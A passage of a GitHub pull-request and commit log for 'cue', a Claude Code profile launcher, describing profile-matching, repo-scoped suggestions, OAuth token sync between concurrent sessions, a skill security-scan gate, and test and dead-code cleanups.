the agent receives. `--write` turns it into `.cue/project.md`: a machine block that refreshes and a `## Notes` section that never does — for the conventions no scanner can infer. `CUE_BRIEF=0` opts out entirely. Two bugs the real-repo smoke test caught, both fixed with tests: the layout list sorted alphabetically and spent its budget on `action/ agentshield/…` while cutting `src/`; and `--write` folded the notes back into the machine block, duplicating them on every rewrite. Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/ python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest → null, and an assertion that no `.env` is ever read), plus the brief-file merge and the per-agent injection. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): let the model rerank profile matches, without ever waiting on it Every failure the lexical matcher has is the same shape: a word means one thing in a manifest and another in a profile description, and the fix is another stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a round of tuning, and the list is unbounded. A model reads the same evidence and doesn't make that class of mistake. So: lexical proposes, the model judges. This fits here in a way it did not fit the skill matcher. That hook runs on every prompt and the prompt is always different, so an LLM call is a per-message tax with a near-zero cache hit rate — which is why it ended up as an opt-in `--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence rather than the clock, the cache hits ~always and the model is consulted about once per project. Measured: 9.8s cold, 0.124s warm. The launch path still never waits. A warm entry is read in ~1ms; a cold one serves the lexical answer immediately and spawns a detached process to fill the cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the model's 10 seconds are never on anyone's critical path. claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation and the credential copy-back out of skill-subset (477 -> 331 lines). That machinery is subtle enough — the rotation race, the shared timeout budget across the binary fallback — that a second copy would drift rather than stay honest. `cue profile match [dir] --explain --deep` exists because the matcher's early versions stayed wrong for as long as they did purely because nothing showed which term caused a bad suggestion. It earned its keep within minutes: on a small Python CLI it revealed "dependencies" named environment, intended, operating, programming and topic — PyPI trove classifiers, read as packages by the loose manifest scanner. Handed that same garbage, the model confidently picked profiles about building cue itself. With the scanner fixed to skip `::` lines it picks python + backend-base, which is right. The scanner now also harvests inline dependency arrays (`dependencies = [...]`), which are often the only place a pyproject declares anything real. Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS platform"); kolarortopedia -> backend + postgres, with the model correctly dropping `vite` (matched on the vitest test runner) and `supabase` (matched on the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): scope remembered stacks to the repo you launch in The combine suggestion engine remembered every stack globally: combo-history rows carried no directory, so "you launched this stack 4x" counted launches from every project at once. At SCORE_COMBO (50-65 with the count bonus) that outranked the cwd-scoped recent (max 50), so a favourite stack from an unrelated repo led the picker in a repo that had never seen it. Rows now record the launch directory, and readCombos scopes them by repository root - a launch inside packages/core still sees the stack confirmed at the repo root above it. Stacks confirmed here score 60-75; stacks known only from other repos drop to 31-40, below anything cwd-scoped, and say so in their reason. Backward compatible on both ends: an unattributed row (written before cwd was recorded) never claims the current directory, and a caller that passes no scope keeps the exact score and wording it had before. * feat(picker): scope pair affinity to the repo you launch in growStack grafts your top historical partner onto every suggested stack, and it does so with no reason line of its own - the profile just appears in the card. That partner came from a global affinity map mined across every project, so a pairing learned in one repo rode silently into the suggestions of an unrelated one: open an API repo and backend+medusa-dev showed up because that is how you work in a shop repo. computeAffinityMap now takes an optional repo scope, and launch builds the picker's partner map from the scoped one. Cross-repo habits still surface, but only through channels that say where they came from - universalSuggestions, and `cue suggest-pairs`, which now splits its table into pairings made here and pairings made in other projects. The scope predicate moves to lib/repo-scope, shared with combo-history so the two history readers cannot drift into different notions of "here". Unscoped callers - the universal-suggestion frequency pass, the dashboard - are unchanged, and rows with no recorded directory are excluded under a scope rather than credited to whichever repo happens to be open. * feat(picker): scope Recent by repository, not by path prefix Recent was the last suggestion source still scoping by raw downward path prefix, which the previous two rounds turned into an inconsistency: launch in packages/core and cue would show you the stacks and pairings confirmed at the repo root, but none of the sessions. The prefix rule cannot match a parent path, so scoped Recent came back empty and launch silently fell back to the global list - handing that subdirectory the profiles you use in other projects. computeStats now takes the same repo scope as the other two readers, so all three agree on what "here" means. The reason line becomes "last used in this repo", which is what it now measures. This path had no test coverage at all; it now has five, including the subdirectory case that was broken and the outside-a-repository fallback. * fix(picker): rank suggested stacks by what you actually launch here Three defects made the card lead with a stack the user had never launched. 1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with five or more sessions scored exactly 50 - a stack launched 112 times in this repo tied with one launched five times, and the card's headline was decided by the alphabetical tie-break. Replaced with a logarithmic bonus: every doubling of use adds a fixed step, calibrated so the five-session case lands where it did before and everything above it keeps climbing. 2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a four-part recent became a three-part stack that was never launched, captioned with the four-part stack's session count. Recollections are now shown as launched: conflicts still resolve, but no companions are bolted on and no parts are dropped. The cap still applies to stacks this module proposes. 3. First-write-wins dedup. Sources are scanned in a fixed order but are no longer ranked by it, so a foreign combo used 4x claimed the part-set and permanently suppressed the recent used 112x here. Dedup now keeps the best-scoring claim; ties keep the incumbent, preserving origin order where scores don't separate. Measured in this repo, top suggestion before and after: before: career+skill-writer+core (truncated from a 4-part stack, 5 sessions) after: core+skill-writer (112 sessions here) * fix(suggest): score skills on what the user actually said `cue suggest` recommended a wedding-invitations skill because "date" appeared 195 times, and rated everything at confidence 1.00. Four compounding faults. Counting the wrong text. It scanned raw transcript JSONL, so assistant prose, tool names, tool output and file contents all counted as things the user "mentioned" - "read" scored 798x because that is the Read tool. Only user text parts are read now; tool_result parts arrive under role "user" too and are excluded. Substring matching. `indexOf` found "ops" inside "operations" and "and" inside "command". Matching is now whole-word, via a single tokenizing pass that also replaces a per-keyword regex compiled over megabytes of text - the command went from seconds to ~0.2s end to end. No stopword filter. Every SKILL.md description opens with "Use this when the user asks...", so "use", "when" and "user" became keywords for the entire catalogue. Filtered now, along with transcript-structure words, and the remaining keywords are weighted by catalogue-wide rarity: a stopword list only knows what is common in English, not that "mcp" appears in hundreds of these skills and separates none of them. Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill, so the printed number carried no information and the ranking was arbitrary. Score is now the strongest few signals - summing every match rewarded a long description over a relevant one - on an asymptotic curve calibrated against a real 355-candidate run. Measured confidence spread over this repo's transcripts: p10 0.32, p50 0.54, max 0.72. The reason line is computed from the same frequency map as the score, so it can no longer name a keyword that never contributed - which is how "and" came to be cited 8044 times. * fix(auth): keep concurrent sessions from revoking each other's tokens Anthropic's OAuth rotates the refresh token on every refresh, and cue gives each profile runtime its own copy of .credentials.json. Two sessions on different profiles therefore hold two copies of one token: whichever refreshes first silently revokes the other, which then hits a login prompt mid-session. Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens, 114 of 117 access tokens expired. Sharing one file via symlink is the obvious fix and does not work: Claude Code rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink with a regular file on the first refresh. Observable in any authmux runtime, where cue symlinks .claude.json and every one has since become a plain file while its neighbours (projects/, agents/) are still links. So the sessions have to talk instead. cue already published a rotation to the owning account dir on exit, which is too late - by then the sibling has already been dropped. A live session now reconciles once a minute for as long as it runs: it republishes its own rotation, and adopts anyone else's. pullFreshestToRuntime is the missing inbound direction, gated on matching accountUuid so alternating accounts can't hand each other tokens, and on strictly newer expiresAt so two reconcilers settle rather than trading the file back and forth. Polling rather than watching is deliberate: the same atomic rename that defeats symlinks also breaks an inode watch. * fix(auth): read the default account's identity where Claude Code keeps it The rotation heal added in ae59ebf never ran for the default account. Every direction in credentials-sync is gated on a known accountUuid, and readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves ~/.claude/.claude.json a settings-only stub - so the default account read as unknown and all three heals silently no-op'd: no candidates to sync from, no publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug hid because authmux account dirs DO carry identity in-dir, so they worked. The basename gate keeps the fallback off those account dirs and off runtime dirs, which all carry identity in-dir - a stray sibling .claude.json must never be read as an account's identity or two accounts could trade tokens. Second path to the same symptom: overlaySourceState copied .credentials.json unconditionally, with none of the expiresAt comparison the rebuild path does. It runs on every cache-hit launch, and cue sync / cue install resolve their source with healFromRuntime: false - so one bulk sync could stamp a dead token over every runtime at once. It now keeps whichever side is newer, scoped to a single account so a deliberate account switch still re-seeds wholesale. Last, the reconcile cadence. Copies of a blob share one expiresAt, so concurrent sessions reach expiry together and refresh within moments of each other; only the first rotation survives. A flat 60s poll cannot help when the contended window is seconds wide, so the cadence now tightens to 5s across that window and idles at a minute elsewhere. This narrows the race and does not close it: cue does not perform the refresh, Claude Code does in-process, so there is no point at which cue can serialize the two callers. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(resolver): follow symlinked skill directories A skill maintained in its own repo can be linked into the tree rather than copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the Linux port's skill has exactly one source of truth instead of a hand-synced duplicate that silently drifts. walk() filtered category entries on dirent.isDirectory(), which is false for the symlink itself, so the linked skill vanished from the index and `cue validate` failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are treated as absent. The materializer already symlinks skills, so this only makes the read path agree with the write path. Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is picked up by the CLI extractor. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(core): keep ego-browser loaded in every project core declared browser/ego-browser, but the per-project loadout deferred it everywhere no project signal matched — which is most projects, since the signal set comes from package.json deps and framework detection and nothing there says "browser". The declaration was real and the skill still never loaded. Deferring it does not save a browser session; it sends the agent to MCP round-trips or web fetch instead, which costs more than this skill's frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the matching slug set in profile-merge so a budgeted composite can't drop it either. Verified on a neutral cwd with zero project signals: browser/ego-browser now classifies full, where it previously landed in deferred. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(security): gate freshly-fetched skills through NVIDIA SkillSpector Every path that lands a new skill on disk — `skills add`, `discover install`, `marketplace install-skill` — now scans it before anything registers it to a profile. SkillSpector covers 68 vulnerability patterns across 17 categories (prompt injection, data exfiltration, supply chain, dangerous code via AST, YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals. Policy reads the report's `recommendation` rather than the exit code, so the three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block. install-skill differs from the others on purpose: the files are already on disk by the time it runs, so a block reports findings and exits non-zero rather than deleting anything, leaving them for review. When the scanner isn't installed the gate degrades to cue's own rules and says so, rather than silently passing everything. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(materializer): stop unresolving the live runtime path mid-swap Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into place, so the live path stayed nonexistent for the whole recursive delete — seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code session already running against that profile resolves its hooks through exactly that path, so every hook firing inside the gap died with "No such file or directory" (observed 2026-08-03: nine Stop hooks at once, mid-session). Move the old tree aside instead: the path is unresolvable only between two renames, and the delete runs after the new runtime is live. The `.old-*` dir is a sibling of the swap target, so it cannot cross a filesystem boundary and sits one level below the root runtime-gc scans. Leftovers from a swap killed between the renames are swept best-effort on the next materialize. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(picker): pull the shared visual primitives out of card and palette The v2 card and the stack palette had grown their own copies of the same drawing code. Both now hang off one set of primitives in picker/ui.ts, styled after iOS grouped-inset lists: one rounded card per idea, uppercase muted section headers instead of heavy rules, a filled pill for the single primary action, circular selection marks instead of ASCII brackets, page dots for "there is more to see here". Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a TTY, so the tests assert on plain text. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore: integrity-protocol wording, tag hooks, two new profiles Collects the remaining working-tree changes from prior sessions: - resources/personas/integrity-protocol{,-compact}.md — wording pass - resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag density checks - profiles/frontend-design, profiles/reverse-skill — two new profiles - README.md, .cue.profile (cue's own pin: core -> core+skill-writer) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(liedetector): one ~N% raster, a drift guard, and hook test coverage (#125) The confidence protocol stated four different rules for the ~N% calibration on yellow/orange tags. The always-on compact persona called it optional; the skill called a bare [INFERRED] a protocol violation. So the rule that applied depended on which source happened to be in context. Settle on one: required, snapped to a 5-point raster (yellow ~50-85%, orange ~20-45%). The tiers no longer overlap each other or green. 14 steps rather than a coarser ladder, because the number exists to order claims against each other; not finer, because self-reported confidence is miscalibrated in absolute terms and ~67% would read as a measurement that never happened. liedetector-tag-density.sh gains an exact check for it: a yellow/orange tag with no ~N%, or one off the raster, is now flagged. The two heuristics around it stay heuristics; this one is a fact, since the protocol names the legal values. src/lib/integrity-ladder.test.ts is a drift guard. The raster lives in two scripts that cannot import from each other -- the hook here, and the eval grader in the resources/skills submodule, which also ships standalone via npx to agents with no cue tree. The guard reads both definitions and asserts they match, plus that all four prose sources state the same rule. Verified by injecting a one-sided change and watching it fail. src/lib/liedetector-hooks.test.ts is the first coverage under resources/hooks: 16 tests driving both Stop hooks through synthetic transcripts. Note the two traps it documents -- transcript records must be compact JSON, and pointing HOME at a temp dir breaks a wrapper-script python3, which silently turns every "expects no output" assertion into a vacuous pass. summon.test.ts: the mcp_status test pinned browser/lightpanda + core, and 1857088 (#121) dropped the lightpanda MCP from every profile that pinned it, so it asserted a pairing that no longer existed. It now derives a live pairing instead of hardcoding one, and fails loudly rather than skipping if none is satisfiable. README/llms.txt: 86 -> 87 profiles, which 062b40a left behind. resources/skills: fast-forward the pointer onto opencue/skills#18, which carries the matching grader change. e9e6657 is an ancestor, so nothing is lost; the bump also closes a pre-existing 4-commit lag. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Aug 10, 2026
* feat(picker): match every profile against the repo, not just the 19 with rules The suggestion engine ranked profiles from five hand-maintained sources — dependency rules, path conventions, combo history, recents, featured. Between them they cover 19 of 85 profiles. The other 66 could only ever surface if the user had launched them before, so a directory that genuinely wanted one had no way to say so, and cycling past the third suggestion ran out of answers. profile-match scores every profile's OWN vocabulary (name, description, skill ids, MCP ids) against what the directory reveals about itself (dependencies, languages, marker files, entry names). Coverage goes to 85/85 and the card's tail keeps landing on something the repo justifies. Wired in as a new `matched` origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32 strength but never outranks a detection, a confirmed combo, or something launched in this very directory. Four properties earned their place by being wrong first: Absolute strength, not relative to the run's best hit. Normalizing against the top scorer manufactures confidence from noise — a directory with nothing to say still produced a 1.00 "match", because the weakest signal present is still the strongest signal present. cue and gitguardex now correctly match nothing. Corroboration: a filename alone never carries a match. Every repo here has a CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace backed by an actual robot.urdf. Chasing each such word with the stopword list was a losing game; requiring one dependency, language, or marker hit ends the class. IDF weighting plus size damping, so `gstack` (70 terms, mentions everything) cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area. Both sides normalize through the same `tokenize`. Skipping it on the evidence side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" — they never met, silently. Same failure class as the bash/TS drift the hook guards against. gstack itself goes to _featured.yaml rather than being made detectable, because it structurally cannot be: it is a WORKFLOW profile, describing how you want to work, and repo evidence only ever describes what the project IS. A .urdf says robotics; nothing on disk says "role-routed engineering". It scored 0.27 at rank #6 across the test repos; always-available is the honest mechanism. Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs -> nextj), which affected skill matching too; the df cut is skipped below 10 profiles, where it discarded every term shared by two and matched nothing; and manifest metadata keys are filtered, so `requires-python` and `[urls] issues` stop reading as dependencies named "research" and "linear". Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable), api-tester surfaces python + backend-base, kolarortopedia surfaces postgres + supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): make cue handoff tests e2e, drop the global mock.module leak src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...). Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file that installs it, so whenever this file landed in the same worker before src/lib/handoff.test.ts, that file asserted against the stub instead of the real formatHandoffForAgent. The stub emitted only the header and the task summary, so exactly the four sections it omitted failed: Most useful skills / Also helpful / MCPs used / Notes Green locally, red in CI, purely on file ordering. Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp dir instead. HANDOFFS_DIR is a module-level const baked from that env var at import time, so a fresh child picks up the temp dir and no global state is touched. Nothing is left to leak — this was the last mock.module in the repo. Also stronger: the router now runs against the real lib rather than a stub. 10 -> 18 tests, covering the --json branches, --skills level parsing, the --from default and the unknown-subcommand fallback. Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs, 2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings. * chore: delete 733 lines of verified dead code Every deletion was re-verified by hand against a repo-wide fixed-string grep (excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and extensionless bin scripts) plus a within-file usage check. Dead code's tests go with it — a test for dead code is also dead. Whole files, referenced by nothing but their own test: src/lib/incremental-materialize.ts 81 (+112 test) src/lib/skill-compressor.ts 68 (+59 test) src/lib/webhooks.ts 58 (+175 test) scripts/_test-ecc-materialize.ts 20 (referenced by nothing at all) Functions with exactly one occurrence in the repo — their own definition: discover.ts buildGemBadgeSvg 196 skill-deps.ts topologicalSort 61 (+18 test) Stale docs: bin/README.md 32 describes a `soul` CLI and a bin/cli/lib/ layout, neither of which exists Deliberately NOT deleted, though a generated report flagged them — 28 of its 76 non-picker findings were false positives, and deleting them blind would have broken the build: analytics.ts recordSkillUsage called by resources/hooks/skill-fire-tracker.sh bin/cue-slug called by bin/cue-learnings (the report's own grep passed --include='*.sh', so the extensionless caller never matched) runtime-gc.ts imported by commands/gc.ts and launch.ts handoff.ts (all 4 exports) imported by commands/handoff.ts kitty-image probeKittyTerminal, clearKittyImagesSequence, skill-deps parseDependencies, skill-router Router* types used within their own file; only the `export` keyword is redundant, which is churn, not dead code cloud.ts:255 "dead" branch reachable: `cue cloud push x` gives argv[2]="cloud" and falls to the default arm Also left alone: the picker block (~1057 lines) while that migration is in flight, and launch.ts's token-budget re-export shim (all five symbols are used inside launch.ts, so it is an export->import rewrite worth zero lines). Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip / 0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline). * docs(dead-code): mark the report superseded, record the false-positive rate 28 of 76 non-picker findings were wrong. Record which ones and why, so the next pass re-verifies instead of trusting the confidence column: a 'high' rating only means the agent's grep came back empty, and those greps missed shell hooks, extensionless bin scripts, dynamic imports, and string-keyed command dispatch. * feat(brief): hand the agent verified facts about the directory it launches in A profile teaches the agent a domain. It cannot know that this repo runs on bun rather than npm, that the tests are behind `just check`, or where the entry point lives — so the agent guesses, and burns turns finding out. `lib/project-brief` scans that off the filesystem and the launcher hands it over: package manager (from the lockfile), the real test/build/lint/typecheck commands (package.json scripts, Makefile, justfile, Cargo, pyproject), entry points, layout, workspaces, data layer, what CI actually runs, and the default branch. Verified only — nothing inferred, because a wrong fact costs more than a missing one. `.env` values are never read; the scan notes only that a committed `.env.example` exists. Delivery is per process, deliberately NOT through the materialized memory file: the runtime is keyed by profile and shared by every directory and every parallel session using it, so repo-specific text there would leak across projects and race between sessions. claude-code takes the brief inline via `--append-system-prompt`; codex, which has no such flag, gets a per-cwd file plus one *static* pointer line in AGENTS.md. `cue brief` shows exactly what the agent receives. `--write` turns it into `.cue/project.md`: a machine block that refreshes and a `## Notes` section that never does — for the conventions no scanner can infer. `CUE_BRIEF=0` opts out entirely. Two bugs the real-repo smoke test caught, both fixed with tests: the layout list sorted alphabetically and spent its budget on `action/ agentshield/…` while cutting `src/`; and `--write` folded the notes back into the machine block, duplicating them on every rewrite. Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/ python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest → null, and an assertion that no `.env` is ever read), plus the brief-file merge and the per-agent injection. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): let the model rerank profile matches, without ever waiting on it Every failure the lexical matcher has is the same shape: a word means one thing in a manifest and another in a profile description, and the fix is another stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a round of tuning, and the list is unbounded. A model reads the same evidence and doesn't make that class of mistake. So: lexical proposes, the model judges. This fits here in a way it did not fit the skill matcher. That hook runs on every prompt and the prompt is always different, so an LLM call is a per-message tax with a near-zero cache hit rate — which is why it ended up as an opt-in `--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence rather than the clock, the cache hits ~always and the model is consulted about once per project. Measured: 9.8s cold, 0.124s warm. The launch path still never waits. A warm entry is read in ~1ms; a cold one serves the lexical answer immediately and spawns a detached process to fill the cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the model's 10 seconds are never on anyone's critical path. claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation and the credential copy-back out of skill-subset (477 -> 331 lines). That machinery is subtle enough — the rotation race, the shared timeout budget across the binary fallback — that a second copy would drift rather than stay honest. `cue profile match [dir] --explain --deep` exists because the matcher's early versions stayed wrong for as long as they did purely because nothing showed which term caused a bad suggestion. It earned its keep within minutes: on a small Python CLI it revealed "dependencies" named environment, intended, operating, programming and topic — PyPI trove classifiers, read as packages by the loose manifest scanner. Handed that same garbage, the model confidently picked profiles about building cue itself. With the scanner fixed to skip `::` lines it picks python + backend-base, which is right. The scanner now also harvests inline dependency arrays (`dependencies = [...]`), which are often the only place a pyproject declares anything real. Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS platform"); kolarortopedia -> backend + postgres, with the model correctly dropping `vite` (matched on the vitest test runner) and `supabase` (matched on the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): scope remembered stacks to the repo you launch in The combine suggestion engine remembered every stack globally: combo-history rows carried no directory, so "you launched this stack 4x" counted launches from every project at once. At SCORE_COMBO (50-65 with the count bonus) that outranked the cwd-scoped recent (max 50), so a favourite stack from an unrelated repo led the picker in a repo that had never seen it. Rows now record the launch directory, and readCombos scopes them by repository root - a launch inside packages/core still sees the stack confirmed at the repo root above it. Stacks confirmed here score 60-75; stacks known only from other repos drop to 31-40, below anything cwd-scoped, and say so in their reason. Backward compatible on both ends: an unattributed row (written before cwd was recorded) never claims the current directory, and a caller that passes no scope keeps the exact score and wording it had before. * feat(picker): scope pair affinity to the repo you launch in growStack grafts your top historical partner onto every suggested stack, and it does so with no reason line of its own - the profile just appears in the card. That partner came from a global affinity map mined across every project, so a pairing learned in one repo rode silently into the suggestions of an unrelated one: open an API repo and backend+medusa-dev showed up because that is how you work in a shop repo. computeAffinityMap now takes an optional repo scope, and launch builds the picker's partner map from the scoped one. Cross-repo habits still surface, but only through channels that say where they came from - universalSuggestions, and `cue suggest-pairs`, which now splits its table into pairings made here and pairings made in other projects. The scope predicate moves to lib/repo-scope, shared with combo-history so the two history readers cannot drift into different notions of "here". Unscoped callers - the universal-suggestion frequency pass, the dashboard - are unchanged, and rows with no recorded directory are excluded under a scope rather than credited to whichever repo happens to be open. * feat(picker): scope Recent by repository, not by path prefix Recent was the last suggestion source still scoping by raw downward path prefix, which the previous two rounds turned into an inconsistency: launch in packages/core and cue would show you the stacks and pairings confirmed at the repo root, but none of the sessions. The prefix rule cannot match a parent path, so scoped Recent came back empty and launch silently fell back to the global list - handing that subdirectory the profiles you use in other projects. computeStats now takes the same repo scope as the other two readers, so all three agree on what "here" means. The reason line becomes "last used in this repo", which is what it now measures. This path had no test coverage at all; it now has five, including the subdirectory case that was broken and the outside-a-repository fallback. * fix(picker): rank suggested stacks by what you actually launch here Three defects made the card lead with a stack the user had never launched. 1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with five or more sessions scored exactly 50 - a stack launched 112 times in this repo tied with one launched five times, and the card's headline was decided by the alphabetical tie-break. Replaced with a logarithmic bonus: every doubling of use adds a fixed step, calibrated so the five-session case lands where it did before and everything above it keeps climbing. 2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a four-part recent became a three-part stack that was never launched, captioned with the four-part stack's session count. Recollections are now shown as launched: conflicts still resolve, but no companions are bolted on and no parts are dropped. The cap still applies to stacks this module proposes. 3. First-write-wins dedup. Sources are scanned in a fixed order but are no longer ranked by it, so a foreign combo used 4x claimed the part-set and permanently suppressed the recent used 112x here. Dedup now keeps the best-scoring claim; ties keep the incumbent, preserving origin order where scores don't separate. Measured in this repo, top suggestion before and after: before: career+skill-writer+core (truncated from a 4-part stack, 5 sessions) after: core+skill-writer (112 sessions here) * fix(suggest): score skills on what the user actually said `cue suggest` recommended a wedding-invitations skill because "date" appeared 195 times, and rated everything at confidence 1.00. Four compounding faults. Counting the wrong text. It scanned raw transcript JSONL, so assistant prose, tool names, tool output and file contents all counted as things the user "mentioned" - "read" scored 798x because that is the Read tool. Only user text parts are read now; tool_result parts arrive under role "user" too and are excluded. Substring matching. `indexOf` found "ops" inside "operations" and "and" inside "command". Matching is now whole-word, via a single tokenizing pass that also replaces a per-keyword regex compiled over megabytes of text - the command went from seconds to ~0.2s end to end. No stopword filter. Every SKILL.md description opens with "Use this when the user asks...", so "use", "when" and "user" became keywords for the entire catalogue. Filtered now, along with transcript-structure words, and the remaining keywords are weighted by catalogue-wide rarity: a stopword list only knows what is common in English, not that "mcp" appears in hundreds of these skills and separates none of them. Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill, so the printed number carried no information and the ranking was arbitrary. Score is now the strongest few signals - summing every match rewarded a long description over a relevant one - on an asymptotic curve calibrated against a real 355-candidate run. Measured confidence spread over this repo's transcripts: p10 0.32, p50 0.54, max 0.72. The reason line is computed from the same frequency map as the score, so it can no longer name a keyword that never contributed - which is how "and" came to be cited 8044 times. * fix(auth): keep concurrent sessions from revoking each other's tokens Anthropic's OAuth rotates the refresh token on every refresh, and cue gives each profile runtime its own copy of .credentials.json. Two sessions on different profiles therefore hold two copies of one token: whichever refreshes first silently revokes the other, which then hits a login prompt mid-session. Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens, 114 of 117 access tokens expired. Sharing one file via symlink is the obvious fix and does not work: Claude Code rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink with a regular file on the first refresh. Observable in any authmux runtime, where cue symlinks .claude.json and every one has since become a plain file while its neighbours (projects/, agents/) are still links. So the sessions have to talk instead. cue already published a rotation to the owning account dir on exit, which is too late - by then the sibling has already been dropped. A live session now reconciles once a minute for as long as it runs: it republishes its own rotation, and adopts anyone else's. pullFreshestToRuntime is the missing inbound direction, gated on matching accountUuid so alternating accounts can't hand each other tokens, and on strictly newer expiresAt so two reconcilers settle rather than trading the file back and forth. Polling rather than watching is deliberate: the same atomic rename that defeats symlinks also breaks an inode watch. * fix(auth): read the default account's identity where Claude Code keeps it The rotation heal added in ae59ebf never ran for the default account. Every direction in credentials-sync is gated on a known accountUuid, and readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves ~/.claude/.claude.json a settings-only stub - so the default account read as unknown and all three heals silently no-op'd: no candidates to sync from, no publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug hid because authmux account dirs DO carry identity in-dir, so they worked. The basename gate keeps the fallback off those account dirs and off runtime dirs, which all carry identity in-dir - a stray sibling .claude.json must never be read as an account's identity or two accounts could trade tokens. Second path to the same symptom: overlaySourceState copied .credentials.json unconditionally, with none of the expiresAt comparison the rebuild path does. It runs on every cache-hit launch, and cue sync / cue install resolve their source with healFromRuntime: false - so one bulk sync could stamp a dead token over every runtime at once. It now keeps whichever side is newer, scoped to a single account so a deliberate account switch still re-seeds wholesale. Last, the reconcile cadence. Copies of a blob share one expiresAt, so concurrent sessions reach expiry together and refresh within moments of each other; only the first rotation survives. A flat 60s poll cannot help when the contended window is seconds wide, so the cadence now tightens to 5s across that window and idles at a minute elsewhere. This narrows the race and does not close it: cue does not perform the refresh, Claude Code does in-process, so there is no point at which cue can serialize the two callers. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(resolver): follow symlinked skill directories A skill maintained in its own repo can be linked into the tree rather than copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the Linux port's skill has exactly one source of truth instead of a hand-synced duplicate that silently drifts. walk() filtered category entries on dirent.isDirectory(), which is false for the symlink itself, so the linked skill vanished from the index and `cue validate` failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are treated as absent. The materializer already symlinks skills, so this only makes the read path agree with the write path. Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is picked up by the CLI extractor. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(core): keep ego-browser loaded in every project core declared browser/ego-browser, but the per-project loadout deferred it everywhere no project signal matched — which is most projects, since the signal set comes from package.json deps and framework detection and nothing there says "browser". The declaration was real and the skill still never loaded. Deferring it does not save a browser session; it sends the agent to MCP round-trips or web fetch instead, which costs more than this skill's frontmatter. So 